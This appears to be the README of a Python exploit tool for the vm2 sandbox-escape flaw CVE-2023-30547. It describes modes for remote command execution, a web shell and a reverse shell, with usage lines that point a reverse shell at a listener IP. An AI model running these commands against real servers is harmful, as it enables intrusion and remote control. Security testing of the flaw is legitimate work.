cur1iosity/cve-2023-30547Tool for exploring CVE-2023-30547
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside handleException() which can be used to escape the sandbox and run arbitrary code in host context.
This tool is a simple python script that can be used to explore the vulnerability. It has 4 modes:
check: checks if the target is vulnerable.command_execution_execution: executes a command on the target.web_shell: opens a web shell on the target.reverse_shell: opens a reverse shell on the target.usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'